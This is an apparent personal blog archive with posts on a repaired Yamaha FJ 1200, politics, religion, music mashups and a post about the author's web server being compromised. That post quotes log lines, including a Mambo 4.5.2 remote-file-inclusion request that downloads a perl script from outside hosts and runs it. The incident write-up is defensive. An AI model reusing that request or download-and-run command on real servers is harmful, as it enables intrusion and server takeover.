Motorcycles

The FJ is Alive!

Posted on by Timothy Foreman

I got a “free” 1990 Yamaha FJ 1200 a few weeks ago. It needed a little work, so I have been cleaning and repairing it a bit.

Last night I took it on the final shake-down cruise and today I rode it to work!

Here is the list of what I ended up paying for my “free” FJ 1200:

Description Cost
Title Transfer Fees and Taxes $85.00
Givi Tail Bag and Mounting Rack $255.00
Carburettor Diaphragms and Slides $220.00
Valve Cover and Bolt Gaskets $38.00
Float Bowl Gaskets $19.00
Valve Shims (4) $18.00
Valve Shim Tool $40.00
Foamy Engine Brite (4 cans) $10.00
Misc Electrical Parts $15.00
Total $700.00

$700.00. Still, that’s a pretty damned good price for a pretty nice motorcycle. And if you remove the Givi bag from the equation (since it wasn’t really required to “repair” the bike,) then the cost drops to $450.

And it’s a pretty nice ride.

I still need to sync the carbs and change the oil, and it’s still not fully clean, but it’s almost there.

(Sorry for the huge white space above the table, I’m not sure what’s causing that.)

Politics

Thank you Keith Olbermann

Posted on by Timothy Foreman

Keith Olbermann’s Special Commentary for yesterday, July 4th, was tremendous.

And those who did not believe he should have been elected — indeed those who did not believe he had been elected — willingly lowered their voices and assented to the sacred oath of non-partisanship.

And George W. Bush took our assent, and re-configured it, and honed it, and shaped it to a razor-sharp point and stabbed this nation in the back with it.

I just want to say a huge Thank You to Keith for saying so well what I feel. And for standing up and doing it in a public forum for many, many people to hear.

Religion

This? This is irony.

Posted on by Timothy Foreman

Back in December, in Albemarle County, Va., Jerry Falwell and his religious right (which is neither religious nor right) took the school district to court to win the right to distribute religious fliers via “backpack mail”.

Backpack mail is the system that many schools, including the ones my children go to, use to send information back home to the parents by putting fliers in the kids backpacks.

Apparently two children wanted to use this system to distribute fliers about their church’s Vacation Bible School classes:

School officials originally denied the request from the twins’ father, Ray Rakoski, citing a school policy barring “distribution of literature that is for partisan, sectarian, religious or political purposes.”

A Charlottesville weekly newspaper, The Hook, reports that Rakoski “sicced the Liberty Counsel on the county,” and the policy was soon revised to allow religious groups to use the backpack mail system. Liberty Counsel is a Religious Right legal group founded by Mathew Staver and now affiliated with Falwell.

Some local Pagans who attend Thomas Jefferson Memorial Church, a Unitarian-Universalist congregation in Charlottesville, decided to take advantage of the new forum as well. They created a one-page flier advertising a Dec. 9 event celebrating the December holidays with a Pagan twist and used the backpack system to invite the entire school community.

“Have you ever wondered what ‘Holidays’ refers to?” reads the flier. “Everyone knows about Christmas – but what else are people celebrating in December? Why do we celebrate the way we do?”

And what do you think the religious right did? Of course they ran totally off the rails.

Some people also tried to send fliers about Camp Quest (“a camp for the children of Atheists, Freethinkers, Humanists, Brights, or whatever other terms might be applied to those who hold to a naturalistic, not supernatural world view” – which my older daughter will be attending this summer) but some teachers refused to distribute them:

World Net Daily reports that the Albemarle School District is under attack by a Religious Right group for sending students home with flyers for Camp Quest, an overnight summer camp for young atheists, agnostics and freethinkers.

This time, however, the problem has been exacerbated by a handful of teachers who have refused to send the flyers home. The group assailing Albemarle School District, Rick Scarborough’s Vision America, says “it’s outrageous to force teachers to distribute these flyers.” He’s urging members to contact the district to protest its “establishment of disbelief.”

An anonymous spokesman for the rebelling teachers told World Net Daily some teachers refused to hand out the Camp Quest flyer because they were “disgusted” and were concerned parents would think the school was endorsing the camp. Even though there is a disclaimer distancing the school from all extra-curricular information sent home, “it’s still coming from me and my classroom,” he said.

Mr. Anonymous is partly right. Anything that comes home from a public school, no matter how strong the disclaimer is, may be perceived as having the school’s stamp of approval. But that’s water under the bridge. Religious Right activists, through the 4th Circuit ruling that they sought, have forced public schools to allow their religious messages in the “backpack mail” system.

I would say to the religious right that you should be careful what you ask for, for what you get can be used against you.

I would also point out that the laws exist for all people of all religions (or lack of religion) not just for so-called Christians and should be applied equally to all.

(h/t to Possummomma for this wonderful bit of irony.)

Hobbies

Bootie Top Ten for June

Posted on by Timothy Foreman

The Bootie Top Ten Mashups for June have been released!

And it’s a great collection this month!

Favs from this month:

  • Pretend We’re Alala (L7 vs. CSS) – kicks ass!
  • Walkin Out Yo Girlfriend (lobsterdust mash) (Unk vs. Avril Lavigne ft. Toni Basil) – Who else could get away with mixing in “Hey Mickey“?
  • Love Or Hate Me Banquet (Bloc Party vs Lady Sovereign vs Abba) – Yet another mashup with Lady Sovereign – but it’s pretty fun. It’s faster than DJ Jay R’s Sweet Sovereign (Lady Sovereign vs. Eurythmics vs. Shiny Grey) from the Best of Bootie 2006 collection.

Go download them now!

Computers

I got hacked

Posted on by Timothy Foreman

It would appear that some nasty hackers found a hole in one of my web applications on Fathers Day.

The first indication of trouble was that my SSH connections started getting dropped yesterday. When I logged back in, I noticed that they load average on the server was 3. That’s pretty high for my box.

So I started poking around. I ran top and noticed that there were a couple of perl processes using a lot of CPU. Then I ran ps -ef and discovered that there were some “extra” httpd processes running.

I installed my Apache from RPM, so that means it runs out of /usr/sbin but ps was showing that there were apache processes running from /usr/local/apache/bin. I don’t even have a /usr/local/apache/bin directory. So I knew something was up.

So I killed the extra processes and started poking around. I found some interesting things in the /tmp directory. There were files named bodescan.txt, nerd.txt and scan.txt. And they were all perl scripts. Actually, they were all variations on the same script.

Then I noticed that the extra processes had come back! Oops. So I killed them again and then stopped the real web server as it appeared to be the attack vector. That made the rogue processes stop appearing.

Time to start poking around in the logs.

The main web server error log had stuff like this in it:

–12:54:22– http://www.bde1337.kit.net/nerd.txt
=> `nerd.txt’
Resolving www.bde1337.kit.net…
201.7.184.2
Connecting to www.bde1337.kit.net|201.7.184.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 29,684 (29K) [text/plain]

0K ………. ………. …….. 100% 53.25 KB/s

12:54:23 (53.25 KB/s) – `nerd.txt’ saved [29684/29684]

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 3 29684 3 1165 0 0 2108 0 0:00:14 –:–:– 0:00:14 2108
^M100 29684 100 29684 0 0 27066 0 0:00:01 0:00:01 –:–:– 52424
sh: fetch: command not found
sh: lynx: command not found

Oh dear. They are getting the web server to download files and then run them. That’s a classic attack.

So how were they getting in? It took me a while, and I discovered that I had quite a bit of old stuff on the server, but I finally found that they were getting in via a 4.5.2 version of Mambo with a plugin in it for uploading images. The server log line for the attack looks like this:

189.12.192.113 – – [18/Jun/2007:01:44:26 -0500] “GET /mambo/index.php?_REQUEST=&
_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path
=http://www.freewebs.com/renayro/tool25.dat?&cmd=cd%20/tmp;rm%20-rf%20r00tlab*;w
get%20http://h1.ripway.com/brn86/r00tlab.txt;lwp-download%20http://h1.ripway.com
/brn86/r00tlab.txt;fetch%20http://h1.ripway.com/brn86/r00tlab.txt;curl%20-o%20r0
0tlab.txt%20http://h1.ripway.com/brn86/r00tlab.txt;GET%20http://h1.ripway.com/br
n86/r00tlab.txt%20>r00tlab.txt;lynx%20-source%20http://h1.ripway.com/brn86/r00tl
ab.txt%20>r00tlab.txt;perl%20r00tlab.txt;rm%20-rf%20r00tlab.txt* HTTP/1.1” 200 8
490 “-” “Mozilla/3.0 (compatible; Indy Library)”

The oddest thing to me is that this Mambo installation is not actually being used for anything, and shouldn’t be linked to anywhere. How did they find it? Scanning I suppose.

I also discovered an installation of phpBB that was really old (2.0.11) and I had totally forgotten about it. (It wasn’t even being used for anything.)

But some hackers found it. Heh. At least all they did was deface it. It’s gone now too.

I have disabled and removed what I can, and I still have to make sure everything else is upgraded to the latest version, but I think I’m all clean for the moment. We’ll watch it for a while and see what happens.

Life

His Reasonable Argument Makes Me Sad

Posted on by Timothy Foreman

I’m a huge Science Fiction fan. But I don’t know who Charles Stross is. (I think I’ll have to find out though.)

In any case, Charles Stross has a blog, and on this blog he recently wrote an article about why he thinks that colonizing other planets is completely unfeasible.

Sad to say, he makes a very valid argument. But I’m still going to read Science Fiction about space colonization and I’m still going to enjoy it!

Religion

In A Nutshell

Posted on by Timothy Foreman

PZ Myers sums up my feelings on Atheism much more clearly than I can (emphasis mine):

That last term, “atheist fundamentalist”, is revealing. I’ve never heard anyone use it who wasn’t also exposing themselves as someone who wants atheists to sit down and shut up and “just get along”—people who want atheism to be dead ineffective and irrelevant. Harris and Dawkins are not fundamentalist in any rational sense of the word, and definitely not in the pejorative sense that Epstein uses. The “new atheism” (I don’t like that phrase, either) is about taking a core set of principles that have proven themselves powerful and useful in the scientific world — you’ve probably noticed that many of these uppity atheists are coming out of a scientific background — and insisting that they also apply to everything else people do. These principles are a reliance on natural causes and demanding explanations in terms of the real world, with a documentary chain of evidence, that anyone can examine. The virtues are critical thinking, flexibility, openness, verification, and evidence. The sins are dogma, faith, tradition, revelation, superstition, and the supernatural. There is no holy writ, and a central idea is that everything must be open to rational, evidence-based criticism — it’s the opposite of fundamentalism.